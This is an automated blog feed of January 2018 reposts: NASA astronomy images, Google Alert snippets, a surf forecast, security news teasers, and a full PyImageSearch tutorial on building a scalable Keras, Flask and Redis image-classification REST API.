Why is Venus so different from Earth? To help find out, Japan launched the robotic Akatsuki spacecraft which entered orbit around Venus late in 2015 after an unplanned five-year adventure around the inner Solar System. Even though Akatsuki was past its original planned lifetime, the spacecraft and instruments were operating so well that much of its original mission was reinstated. Also known as the Venus Climate Orbiter, Akatsuki's instruments investigated unknowns about Earth's sister planet, including whether volcanoes are still active, whether lightning occurs in the dense atmosphere, and why wind speeds greatly exceed the planet's rotation speed. In the featured image taken by Akatsuki's IR2 camera, Venus's night side shows a jagged-edged equatorial band of high dark clouds absorbing infrared light from hotter layers deeper in Venus' atmosphere. The bright orange and black stripe on the upper right is a false digital artifact that covers part of the much brighter day side of Venus. Analyses of Akatsuki images and data has shown that Venus has equatorial jet similar to Earth's jet stream. via NASA http://ift.tt/2DKlFVr

Monday, January 29, 2018

Anonymous users try to clear pins, but can't

Two things here: the anonymous user tries to clear the pin but fails (it shouldn't even try?) the content jumps around (CSS problem?) https://meta-s3-cdn.freetls.fastly.net/original…

from Google Alert - anonymous http://ift.tt/2DTCxwD
via IFTTT

Back with a bang: Jeffrey Cheung illustrates the Coming of Age Issue of The Anonymous Sex Journal

Oakland-based artist and illustrator Jeffrey Cheung has provided new work for the latest issue of The Anonymous Sex Journal. The latest edition, The Coming of Age Issue, is a compendium of tales gathered over a period of 12 months that offer an insight into contributors' most intimate moments.

from Google Alert - anonymous http://ift.tt/2FsiXEO
via IFTTT

I have a new follower on Twitter


News From The Perimeter
Liberty for the People🇺🇸+++ #QAnon #TheStormIsHere #FollowTheWhiteRabbit #ReleaseTheMemo
New California, USA
https://t.co/EWDfAoP4AP
Following: 4324 - Followers: 3454

January 29, 2018 at 08:27PM via Twitter http://twitter.com/newsftperimeter

Spurious space before "(" not allowed with anonymous function

Ok, so I probably shouldn't try to squeeze this anonymous function all on one line in the first place, but the error here is misplaced — it's thinking that (head, tail...) is the function name: julia> function(head, tail...) (head, f(tail...)...); end ERROR: syntax: space before "(" not allowed in "(head, tail...) '('" ...

from Google Alert - anonymous http://ift.tt/2Guv7Ov
via IFTTT

Valentine

Vellum is delicately knife-cut to emulate fine lace in this Devotional, also known as Canivet. This is a religious precursor of the Valentine, which would have been given as a gift to honor a special occasion, such as birth, death, communion, or marriage.

from Google Alert - anonymous http://ift.tt/2DHVJdf
via IFTTT

Raising of Lazarus

Artist: Anonymous. Artist: After Jacopo Tintoretto (Jacopo Robusti) (Italian, Venice 1518/19–1594 Venice). Date: 17th century. Medium: Engraving. Dimensions: Sheet (Trimmed): 19 7/8 × 13 3/16 in. (50.5 × 33.5 cm). Classification: Prints. Credit Line: The Elisha Whittelsey Collection, The Elisha ...

from Google Alert - anonymous http://ift.tt/2Ek47AG
via IFTTT

Immediate claim victory for an…

While "claim victory" waits a suitable amount of time in games where players are logged in, when playing anonymously, it is much more common for players…

from Google Alert - anonymous http://ift.tt/2DMLl48
via IFTTT

8th St.'s surf is at least 5.04ft high

Maryland-Delaware, January 30, 2018 at 08:00AM

8th St. Summary
At 2:00 AM, surf min of 4.34ft. At 8:00 AM, surf min of 5.04ft. At 2:00 PM, surf min of 4.22ft. At 8:00 PM, surf min of 2.88ft.

Surf maximum: 5.64ft (1.72m)
Surf minimum: 5.04ft (1.54m)
Tide height: 3.58ft (1.09m)
Wind direction: WNW
Wind speed: 14.42 KTS


from Surfline http://ift.tt/1kVmigH
via IFTTT

Heat Map Released by Fitness Tracker Reveals Location of Secret Military Bases

Every one of us now has at least one internet-connected smart device, which makes this question even more prominent —how much does your smart device know about you? Over the weekend, the popular fitness tracking app Strava proudly published a "2017 heat map" showing activities from its users around the world, but unfortunately, the map revealed what it shouldn't—locations of the United States


from The Hacker News http://ift.tt/2DYmgXc
via IFTTT

A scalable Keras + deep learning REST API

In today’s blog post we are going to create a deep learning REST API that wraps a Keras model in an efficient, scalable manner.

Our Keras + deep learning REST API will be capable of batch processing images, scaling to multiple machines (including multiple web servers and Redis instances), and round-robin scheduling when placed behind a load balancer.

To accomplish this we will be using:

  • Keras
  • Redis (an in-memory data structure store)
  • Flask (a micro web framework for Python)
  • Message queuing and message broker programming paradigms

This blog post is a bit more advanced than other tutorials on PyImageSearch and is intended for readers:

  • Who are familiar with the Keras deep learning library
  • Who have an understanding of web frameworks and web services (and ideally coded a simple website/web service before)
  • Who understand basic data structures, such as hash tables/dictionaries, lists, along with their associated asymptotic complexities

To learn how to create your own scalable Keras + deep learning REST API, just keep reading!

Looking for the source code to this post?
Jump right to the downloads section.

A scalable Keras + deep learning REST API

Today’s tutorial is broken into multiple parts.

We’ll start with a brief discussion of the Redis data store and how it can be used to facilitate message queuing and message brokering.

From there, we’ll configure our Python development environment by installing the required Python packages to build our Keras deep learning REST API.

Once we have our development environment configured we can implement our actual Keras deep learning REST API using the Flask web framework. After implementing, we’ll start the Redis and Flask servers, follow by submitting inference requests to our deep learning API endpoint using both cURL and Python.

Finally, we’ll end with a short discussion on the considerations you should keep in mind when building your own deep learning REST API.

A short introduction to Redis as a REST API message broker/message queue

Figure 1: Redis can be used as a message broker/message queue for our deep learning REST API

Redis is an in-memory data store. It is different than a simple key/value store (such as memcached) as it can can store actual data structures.

Today we’re going to utilize Redis as a message broker/message queue. This involves:

  • Running Redis on our machine
  • Queuing up data (images) to our Redis store to be processed by our REST API
  • Polling Redis for new batches of input images
  • Classifying the images and returning the results to the client

To read more about Redis, I encourage you to review this short introduction.

Configuring and installing Redis for our Keras REST API

Redis is very easy to install. Below you’ll find the commands to download, extract, and install Redis on your system:

$ wget http://download.redis.io/redis-stable.tar.gz
$ tar xvzf redis-stable.tar.gz
$ cd redis-stable
$ make
$ sudo make install

To start the Redis server, use the following command:

$ redis-server

Leave this terminal open to keep the Redis data store running.

In another terminal, you can validate Redis is up and running:

$ redis-cli ping
PONG

Provided that you get a

PONG
  back from Redis, you’re ready to go.

Configuring your Python development environment to build a Keras REST API

I recommend that you work on this project inside of a Python virtual environment so that it does not impact system level Python and projects.

To do this, you’ll need to install pip, virtualenv, and virtualenvwrapper (provided you haven’t already):

$ cd ~
$ wget https://bootstrap.pypa.io/get-pip.py
$ sudo python get-pip.py
$ sudo pip install virtualenv virtualenvwrapper

You’ll also need to edit your

~/.bashrc
  (or
~/.bash_profile
  on macOS) to include the following lines:
# virtualenv and virtualenvwrapper
export WORKON_HOME=$HOME/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh

Then, simply source the file in the terminal depending on your OS:

Ubuntu

$ source ~/.bashrc

macOS

$ source ~/.bash_profile

From there, you can create a Python virtual environment specifically for this project:

$ mkvirtualenv keras_flask -p python3

And once your environment is ready and activated, let’s install the necessary packages for our Keras REST API into the environment:

$ pip install numpy
$ pip install scipy h5py
$ pip install tensorflow # tensorflow-gpu for GPU machines
$ pip install keras
$ pip install flask gevent
$ pip install imutils requests
$ pip install redis
$ pip install Pillow

That’s it — and notice that we don’t actually need OpenCV for this project because we’ll be making use of PIL/Pillow.

Implementing a scalable Keras REST API

Figure 2: Our deep learning Keras + Redis + Flask REST API data flow diagram

Let’s get started building our server script. For convenience I’ve implemented the server in a single file, however it can be modularized as you see fit.

For best results and to avoid copy/paste errors, I encourage you to use the “Downloads” section of this blog post to grab the associated scripts and images.

Let’s open up

run_keras_server.py
  and walk through it together:
# import the necessary packages
from keras.applications import ResNet50
from keras.preprocessing.image import img_to_array
from keras.applications import imagenet_utils
from threading import Thread
from PIL import Image
import numpy as np
import base64
import flask
import redis
import uuid
import time
import json
import sys
import io

There are quite a few imports listed above, notably

ResNet50
 ,
flask
 , and
redis
 .

For the sake of simplicity, we’ll be using ResNet pre-trained on the ImageNet dataset. I’ll point out where you can swap out ResNet for your own models.

The

flask
  module contains the Flask library (used to build our web API). The
redis
  module will enable us to interface with the Redis data store.

From there, let’s initialize constants which will be used throughout

run_keras_server.py
 :
# initialize constants used to control image spatial dimensions and
# data type
IMAGE_WIDTH = 224
IMAGE_HEIGHT = 224
IMAGE_CHANS = 3
IMAGE_DTYPE = "float32"

# initialize constants used for server queuing
IMAGE_QUEUE = "image_queue"
BATCH_SIZE = 32
SERVER_SLEEP = 0.25
CLIENT_SLEEP = 0.25

We’ll be passing

float32
  images to the server with dimensions of 224 x 224 and containing
3
  channels.

Our server can handle a

BATCH_SIZE = 32
 . If you have GPU(s) on your production system, you’ll want to tune your
BATCH_SIZE
  for optimal  performance.

I’ve found that setting both

SERVER_SLEEP
  and
CLIENT_SLEEP
  to
0.25
  seconds (the amount of time the server and client will pause before polling Redis again, respectively) will work well on most systems. Definitely adjust these constants if you’re building a production system.

Let’s kick off our Flask app and Redis server:

# initialize our Flask application, Redis server, and Keras model
app = flask.Flask(__name__)
db = redis.StrictRedis(host="localhost", port=6379, db=0)
model = None

Here you can see how easy it is to start Flask.

I’ll assume that before you run this server script that your Redis server is running. Our Python script connect to the Redis store on our

localhost
  on port
6379
  (the default host and port values for Redis).

Don’t forget to initialize a global Keras 

model
  to
None
 here as well.

From there let’s handle serialization of images:

def base64_encode_image(a):
        # base64 encode the input NumPy array
        return base64.b64encode(a).decode("utf-8")

def base64_decode_image(a, dtype, shape):
        # if this is Python 3, we need the extra step of encoding the
        # serialized NumPy string as a byte object
        if sys.version_info.major == 3:
                a = bytes(a, encoding="utf-8")

        # convert the string to a NumPy array using the supplied data
        # type and target shape
        a = np.frombuffer(base64.decodestring(a), dtype=dtype)
        a = a.reshape(shape)

        # return the decoded image
        return a

Redis will act as our temporary data store on the server. Images will come in to the server via a variety of methods such as cURL, a Python script, or even a mobile app.

Furthermore, images could come in only every once in awhile (a few every hours or days) or at a very high rate (multiple per second). We need to put the images somewhere as they queue up prior to being processed. Our Redis store will act as the temporary storage.

In order to store our images in Redis, they need to be serialized. Since images are just NumPy arrays, we can utilize base64 encoding to serialize the images. Using base64 encoding also has the added benefit of allowing us to use JSON to store additional attributes with the image.

Our

base64_encode_image
  function handles the serialization and is defined on Lines 35-37.

Similarly, we need to deserialize our image prior to passing them through our model. This is handled by the 

base64_decode_image
  function on Lines 39-51.

Let’s pre-process our image:

def prepare_image(image, target):
        # if the image mode is not RGB, convert it
        if image.mode != "RGB":
                image = image.convert("RGB")

        # resize the input image and preprocess it
        image = image.resize(target)
        image = img_to_array(image)
        image = np.expand_dims(image, axis=0)
        image = imagenet_utils.preprocess_input(image)

        # return the processed image
        return image

On Line 53, I’ve defined a

prepare_image
  function which pre-processes our input image for classification using the ResNet50 implementation in Keras.. When utilizing your own models I would suggest modifying this function to perform any required pre-processing, scaling, or normalization.

From there we’ll define our classification method:

def classify_process():
        # load the pre-trained Keras model (here we are using a model
        # pre-trained on ImageNet and provided by Keras, but you can
        # substitute in your own networks just as easily)
        print("* Loading model...")
        model = ResNet50(weights="imagenet")
        print("* Model loaded")

The

classify_process
  function will be kicked off in its own thread as we’ll see in
__main__
  below. This function will poll for image batches from the Redis server, classify the images, and return the results to the client.

Line 72 loads the

model
 . I’ve sandwiched this action with terminal
print
  messages — depending on the size of your Keras model, loading be instantaneous or it could take a few seconds.

Loading the model happens only once when this thread is launched — it would be terribly slow if we had to load the model each time we wanted to process an image and furthermore it could lead to a server crash due to memory exhaustion.

After loading the model, this thread will continually poll for new images and then classify them:

# continually poll for new images to classify
        while True:
                # attempt to grab a batch of images from the database, then
                # initialize the image IDs and batch of images themselves
                queue = db.lrange(IMAGE_QUEUE, 0, BATCH_SIZE - 1)
                imageIDs = []
                batch = None

                # loop over the queue
                for q in queue:
                        # deserialize the object and obtain the input image
                        q = json.loads(q.decode("utf-8"))
                        image = base64_decode_image(q["image"], IMAGE_DTYPE,
                                (1, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANS))

                        # check to see if the batch list is None
                        if batch is None:
                                batch = image

                        # otherwise, stack the data
                        else:
                                batch = np.vstack([batch, image])

                        # update the list of image IDs
                        imageIDs.append(q["id"])

Here we’re first using the Redis database’s

lrange
  function to get, at most,
BATCH_SIZE
  images from our queue (Line 79).

From there we initialize our

imageIDs
  and
batch
  (Lines 80 and 81) and begin looping over the
queue
  beginning on Line 84.

In the loop, we first decode the object and deserialize it into a NumPy array,

image
  (Lines 86-88).

Next, on Lines 90-96, we’ll add the

image
  to the
batch
  (or if the
batch
  is currently
None
  we just set the
batch
  to the current
image
 ).

We also append the

id
  of the image to
imageIDs
  (Line 99).

Let’s finish out the loop and function:

# check to see if we need to process the batch
                if len(imageIDs) > 0:
                        # classify the batch
                        print("* Batch size: {}".format(batch.shape))
                        preds = model.predict(batch)
                        results = imagenet_utils.decode_predictions(preds)

                        # loop over the image IDs and their corresponding set of
                        # results from our model
                        for (imageID, resultSet) in zip(imageIDs, results):
                                # initialize the list of output predictions
                                output = []

                                # loop over the results and add them to the list of
                                # output predictions
                                for (imagenetID, label, prob) in resultSet:
                                        r = {"label": label, "probability": float(prob)}
                                        output.append(r)

                                # store the output predictions in the database, using
                                # the image ID as the key so we can fetch the results
                                db.set(imageID, json.dumps(output))

                        # remove the set of images from our queue
                        db.ltrim(IMAGE_QUEUE, len(imageIDs), -1)

                # sleep for a small amount
                time.sleep(SERVER_SLEEP)

In this code block, we check if there are any images in our batch (Line 102).

If we have a batch of images, we make predictions on the entire batch by passing it through the model (Line 105).

From there, we loop over a the

imageIDs
  and corresponding prediction 
results
  (Lines 110-122). These lines append labels and probabilities to an output list and then store the output in the Redis database using the
imageID
  as the key (Lines 116-122).

We remove the set of images that we just classified from our queue using

ltrim
  on Line 125.

And finally, we sleep for the set

SERVER_SLEEP
  time and await the next batch of images to classify.

Let’s handle the

/predict
  endpoint of our REST API next:
@app.route("/predict", methods=["POST"])
def predict():
        # initialize the data dictionary that will be returned from the
        # view
        data = {"success": False}

        # ensure an image was properly uploaded to our endpoint
        if flask.request.method == "POST":
                if flask.request.files.get("image"):
                        # read the image in PIL format and prepare it for
                        # classification
                        image = flask.request.files["image"].read()
                        image = Image.open(io.BytesIO(image))
                        image = prepare_image(image, (IMAGE_WIDTH, IMAGE_HEIGHT))

                        # ensure our NumPy array is C-contiguous as well,
                        # otherwise we won't be able to serialize it
                        image = image.copy(order="C")

                        # generate an ID for the classification then add the
                        # classification ID + image to the queue
                        k = str(uuid.uuid4())
                        d = {"id": k, "image": base64_encode_image(image)}
                        db.rpush(IMAGE_QUEUE, json.dumps(d))

As you’ll see later, when we POST to the REST API, we’ll be using the

/predict
  endpoint. Our server could, of course, have multiple endpoints.

We use the

@app.route
  decorator above our function in the format shown on Line 130 to define our endpoint so that Flask knows what function to call. We could easily have another endpoint which uses AlexNet instead of ResNet and we’d define the endpoint with associated function in a similar way. You get the idea, but for our purposes today, we just have one endpoint called
/predict
 .

Our

predict
  method defined on Line 131 will handle the POST requests to the server. The goal of this function is to build the JSON
data
  that we’ll send back to the client.

If the POST data contains an image (Lines 137 and 138) we convert the image to PIL/Pillow format and preprocess it (Lines 141-143).

While developing this script, I spent considerable time debugging my serialization and deserialization functions, only to figure out that I needed Line 147 to convert the array to C-contiguous ordering (which is something you can read more about here). Honestly, it was a pretty big pain in the ass to figure out, but I hope it helps you get up and running quickly.

If you were wondering about the

id
  mentioned back on Line 99, it is actually generated here using
uuid
, a universally unique identifier, on Line 151. We use a UUID to prevent hash/key conflicts.

Next, we append the

id
  as well as the
base64
  encoding of the
image
  to the
d
  dictionary. It’s very simple to push this JSON data to the Redis
db
  using
rpush
  (Line 153).

Let’s poll the server to return the predictions:

# keep looping until our model server returns the output
                        # predictions
                        while True:
                                # attempt to grab the output predictions
                                output = db.get(k)

                                # check to see if our model has classified the input
                                # image
                                if output is not None:
                                        # add the output predictions to our data
                                        # dictionary so we can return it to the client
                                        output = output.decode("utf-8")
                                        data["predictions"] = json.loads(output)

                                        # delete the result from the database and break
                                        # from the polling loop
                                        db.delete(k)
                                        break

                                # sleep for a small amount to give the model a chance
                                # to classify the input image
                                time.sleep(CLIENT_SLEEP)

                        # indicate that the request was a success
                        data["success"] = True

        # return the data dictionary as a JSON response
        return flask.jsonify(data)

We’ll loop continuously until the model server returns the output predictions. We start an infinite loop and attempt to get the predictions Lines 157-159.

From there, if the

output
  contains predictions, we deserialize the results and add them to
data
  which will be returned to the client.

We also

delete
  the result from the
db
  (since we have pulled the results form the database and no longer need to store them in the database) and
break
  out of the loop (Lines 163-172).

Otherwise, we don’t have any predictions and we need to sleep and continue to poll (Line 176).

If we reach Line 179, we’ve successfully got our predictions. In this case we add a

success
  value of
True
  to the client data (Line 179).

Note: For this example script, I didn’t bother adding timeout logic in the above loop which would ideally add a

success
  value of
False
  to the data. I’ll leave that up to you to handle and implement.

Lastly we call

flask.jsonify
  on
data
  and return it to the client (Line 182). This completes our predict function.

To demo our Keras REST API, we need a

__main__
  function to actually start the server:
# if this is the main thread of execution first load the model and
# then start the server
if __name__ == "__main__":
        # load the function used to classify input images in a *separate*
        # thread than the one used for main classification
        print("* Starting model service...")
        t = Thread(target=classify_process, args=())
        t.daemon = True
        t.start()

        # start the web server
        print("* Starting web service...")
        app.run()

Lines 186-196 define the

__main__
  function which will kick off our
classify_process
  thread (Lines 190-192) and run the Flask app (Line 196).

Starting the scalable Keras REST API

To test our Keras deep learning REST API, be sure to download the source code + example images using the “Downloads” section of this blog post.

From there, let’s start the Redis server if it isn’t already running:

$ redis-server

Then, in a separate terminal, let’s start our REST API Flask server:

$ python run_keras_server.py 
Using TensorFlow backend.
 * Loading Keras model and Flask starting server...please wait until server has fully started
...
 * Running on http://127.0.0.1:5000

Additionally, I would suggest waiting until your model is loaded completely into memory before submitting requests to the server.

Now we can move on to testing the server with both cURL and Python.

Using cURL to access our Keras REST API

Figure 3: Using cURL to test our Keras REST API server. Pictured is my family beagle, Jemma. She is classified as a beagle with 94.6% confidence by our ResNet model.

The cURL tool is available pre-installed on most (Unix-based) operating systems. We can POST an image file to our deep learning REST API at the

/predict
  endpoint by using the following command:
$ curl -X POST -F image=@jemma.png 'http://localhost:5000/predict'

You’ll receive the predictions back in JSON format right in your terminal:

{
  "predictions": [
    {
      "label": "beagle", 
      "probability": 0.9461546540260315
    }, 
    {
      "label": "bluetick", 
      "probability": 0.031958919018507004
    }, 
    {
      "label": "redbone", 
      "probability": 0.006617196369916201
    }, 
    {
      "label": "Walker_hound", 
      "probability": 0.0033879687543958426
    }, 
    {
      "label": "Greater_Swiss_Mountain_dog", 
      "probability": 0.0025766862090677023
    }
  ], 
  "success": true
}

Let’s try passing another image, this time a space shuttle:

$ curl -X POST -F image=@space_shuttle.png 'http://localhost:5000/predict'
{
  "predictions": [
    {
      "label": "space_shuttle", 
      "probability": 0.9918227791786194
    }, 
    {
      "label": "missile", 
      "probability": 0.006030891090631485
    }, 
    {
      "label": "projectile", 
      "probability": 0.0021368064917623997
    }, 
    {
      "label": "warplane", 
      "probability": 1.980597062356537e-06
    }, 
    {
      "label": "submarine", 
      "probability": 1.8291866581421345e-06
    }
  ], 
  "success": true
}

The results of which can be seen below:

Figure 4: Submitting an input image to our Keras REST API and obtaining the prediction results.

Once again our Keras REST API has correctly classified the input image.

Using Python to submit requests to the Keras REST API

As you can see, verification using cURL was quite easy. Now let’s build a Python script that will POST an image and parse the returning JSON programmatically.

Let’s review

simple_request.py
 :
# import the necessary packages
import requests

# initialize the Keras REST API endpoint URL along with the input
# image path
KERAS_REST_API_URL = "http://localhost:5000/predict"
IMAGE_PATH = "jemma.png"

We use Python

requests
  in this script to handle POSTing data to the server.

Our server is running on the

localhost
  and can be accessed on port
5000
  with the endpoint
/predict
  as is specified by the
KERAS_REST_API_URL
  variable (Line 6). If the server is running remotely or on a different machine, be sure to specify the appropriate domain/ip, port, and endpoint.

We also define an

IMAGE_PATH
 (Line 7). In this case,
jemma.png
  is in the same directory as our script. If you want to test with other images, be sure to specify the full path to your input image.

Let’s load the image and send it off to the server:

# load the input image and construct the payload for the request
image = open(IMAGE_PATH, "rb").read()
payload = {"image": image}

# submit the request
r = requests.post(KERAS_REST_API_URL, files=payload).json()

# ensure the request was sucessful
if r["success"]:
        # loop over the predictions and display them
        for (i, result) in enumerate(r["predictions"]):
                print("{}. {}: {:.4f}".format(i + 1, result["label"],
                        result["probability"]))

# otherwise, the request failed
else:
        print("Request failed")

We read the image on Line 10 in binary mode and put the it into a payload dictionary.

The payload is POST’ed to the server with

requests.post
  on Line 14.

If we get a

success
  message, we can loop over the predictions and print them to the terminal. I made this script simple, but you could also draw the highest prediction text on the image using OpenCV if you want to get fancy.

Running the simple request script

Putting the script to work is easy. Open up a terminal and execute the following command (provided both our Flask server and Redis server are running, of course).

$ python simple_request.py
1. beagle: 0.9462
2. bluetick: 0.0320
3. redbone: 0.0066
4. Walker_hound: 0.0034
5. Greater_Swiss_Mountain_dog: 0.0026

Figure 5: Using Python to programmatically consume the results of our Keras deep learning REST API.

For the

space_shuttle.png
 , simply modify the
IMAGE_PATH
  variable:
IMAGE_PATH = "space_shuttle.png"

And from there, run the script again:

$ python simple_request.py
1. space_shuttle: 0.9918
2. missile: 0.0060
3. projectile: 0.0021
4. warplane: 0.0000
5. submarine: 0.0000

Figure 6: A second example of programmatically consuming our Keras deep learning REST API. Here a space shuttle is classified with 99% confidence by ResNet + Keras REST API.

Considerations when scaling your deep learning REST API

If you anticipate heavy load for extended periods of time on your deep learning REST API you may want to consider a load balancing algorithm such as round-robin scheduling to help evenly distribute requests across multiple GPU machines and Redis servers.

Keep in mind that Redis is an in-memory data store so we can only store as many images in the queue we have available memory.

A single 224 x 224 x 3 image with a

float32
  data type will consume 60,2112 bytes of memory.

Assuming a server with a modest 16GB of RAM, this implies that we can hold approximately 26,500 images in our queue, but at that point we likely would want to add more GPU servers to burn through the queue faster.

However, there is a subtle problem…

Depending on how you deploy your deep learning REST API, there is a subtle problem with keeping the

classify_process
  function in the same file as the rest of our web API code.

Most web servers, including Apache and nginx, allow for multiple client threads.

If you keep

classify_process
  in the same file as your
predict
  view, then you may load multiple models if your server software deems it necessary to create a new thread to serve the incoming client requests — for every new thread, a new view will be created, and therefore a new model will be loaded.

The solution is to move

classify_process
  to an entirely separate process and then start it along with your Flask web server and Redis server.

In next week’s blog post I’ll build on today’s solution, show how to resolve this problem, and demonstrate:

  • How to configure the Apache web server to serve our deep learning REST API
  • How to run
    classify_process
    
      as an entirely separate Python script, avoiding “multiple model syndrome”
  • Provide stress test results, confirming and verifying that our deep learning REST API can scale under heavy load

What now?

If you’re interested in taking a deeper dive into deep learning and discovering how to:

  • Train Convolutional Neural Networks on your own custom datasets
  • Study advanced deep learning techniques, including object detection, multi-GPU training, transfer learning, and Generative Adversarial Networks (GANs)
  • Replicate the results of state-of-the-art papers, including ResNet, SqueezeNet, VGGNet, and others

…then be sure to take a look at my new book, Deep Learning for Computer Vision with Python!

My complete, self-study deep learning book is trusted by members of top machine learning schools, companies, and organizations, including Microsoft, Google, Stanford, MIT, CMU, and more!

Be sure to take a look  — and while you’re at it, don’t forget to grab your (free) table of contents + sample chapters.

Summary

In today’s blog post we learned how to build a scalable Keras + deep learning REST API.

To accomplish this, we:

  • Built a simple Flask app to load our Keras model into memory and accept incoming requests.
  • Utilized Redis to act as an in-memory message queue/message broker.
  • Utilized threading to batch process input images, write them back to the message queue and then return the results to the client.

This method can scale to multiple machines, including multiple web servers and Redis instances.

I hope you enjoyed today’s blog post!

Be sure to enter your email address in the form below to be notified when future tutorials are published here on PyImageSearch!

Downloads:

If you would like to download the code and images used in this post, please enter your email address in the form below. Not only will you get a .zip of the code, I’ll also send you a FREE 11-page Resource Guide on Computer Vision and Image Search Engines, including exclusive techniques that I don’t post on this blog! Sound good? If so, enter your email address and I’ll send you the code immediately!

The post A scalable Keras + deep learning REST API appeared first on PyImageSearch.



from PyImageSearch http://ift.tt/2nqkmUG
via IFTTT

Twitter Hoe Anonymous by Trappin Anonymous

@Christylezz Presents Trappin Anonymous (Twitter Hoe Anonymous) on this episode you will learn about the self-made Twitter prostitute. You may have seen these people on your timeline having sex and posting videos, learn about the sex tours & using social media to promote your business. You may ...

from Google Alert - anonymous http://ift.tt/2nmYiLF
via IFTTT

ISS Daily Summary Report – 1/26/2018

European Modular Cultivation System (EMCS) Preparation for Plant Gravity Perception Operations: To prepare the EMCS for the Plant Gravity Perception investigation, the crew replaced the empty EMCS Air Mix Supply Module located on the lower left side of the EMCS holding structure with a full Air Mix Module and then opened the EMCS Gas Valves … Continue reading "ISS Daily Summary Report – 1/26/2018"

from ISS On-Orbit Status Report http://ift.tt/2rMJBWJ
via IFTTT

Hard-coded Password Lets Attackers Bypass Lenovo's Fingerprint Scanner

Lenovo has recently rolled out security patches for a severe vulnerability in its Fingerprint Manager Pro software that could allow leak sensitive data stored by the users. Fingerprint Manager Pro is a utility for Microsoft Windows 7, 8 and 8.1 operating systems that allows users to log into their fingerprint-enabled Lenovo PCs using their fingers. The software could also be configured to


from The Hacker News http://ift.tt/2DOLeZO
via IFTTT

Nearly 2000 WordPress Websites Infected with a Keylogger

More than 2,000 WordPress websites have once again been found infected with a piece of crypto-mining malware that not only steals the resources of visitors' computers to mine digital currencies but also logs visitors' every keystroke. Security researchers at Sucuri discovered a malicious campaign that infects WordPress websites with a malicious script that delivers an in-browser


from The Hacker News http://ift.tt/2nmpZmR
via IFTTT

Head Chef

View details and apply for this head chef job in Central London / West End (W1) with Anonymous on Caterer.com. Head Chef - Premium Branded Japanese Restaurant London up to £38000 plus bonus Location :Central London Job Brief for Head Chef I am looking to recruit a proven Head Chef to join ...

from Google Alert - anonymous http://ift.tt/2rJz0Mi
via IFTTT

The Spider and The Fly


Will the spider ever catch the fly? Not if both are large emission nebulas toward the constellation of the Charioteer (Auriga). The spider-shaped gas cloud on the left is actually an emission nebula labelled IC 417, while the smaller fly-shaped cloud on the right is dubbed NGC 1931 and is both an emission nebula and a reflection nebula. About 10,000 light-years distant, both nebulas harbor young, open star clusters. For scale, the more compact NGC 1931 (Fly) is about 10 light-years across. via NASA http://ift.tt/2DHUQS2

Sunday, January 28, 2018

hakatashi hakatashi/gist:f32b62a7585fe97528ca95c8fdf23853 Created 4 minutes ago

fetch('http://ift.tt/2rRsxPJ;, {mode: 'cors', method: 'POST', body: JSON.stringify({description: 'hoge', public: false, files: {'test.txt': {content: 'test'}}})}).then((res) => res.json()).then((data) => console.log(data));. Sign up for free to join this conversation on GitHub. Already have an account? Sign in to ...

from Google Alert - anonymous http://ift.tt/2GnacNk
via IFTTT

1492 Fear Human Beings Anonymous, anonymous, fear, geronimo

A(z) "1492 Fear Human Beings Anonymous" című videót "Geronimos Stolen Bones" nevű felhasználó töltötte fel a(z) "nagyvilág" kategóriába. Eddig 0 alkalommal nézték meg.

from Google Alert - anonymous http://ift.tt/2DWcl4a
via IFTTT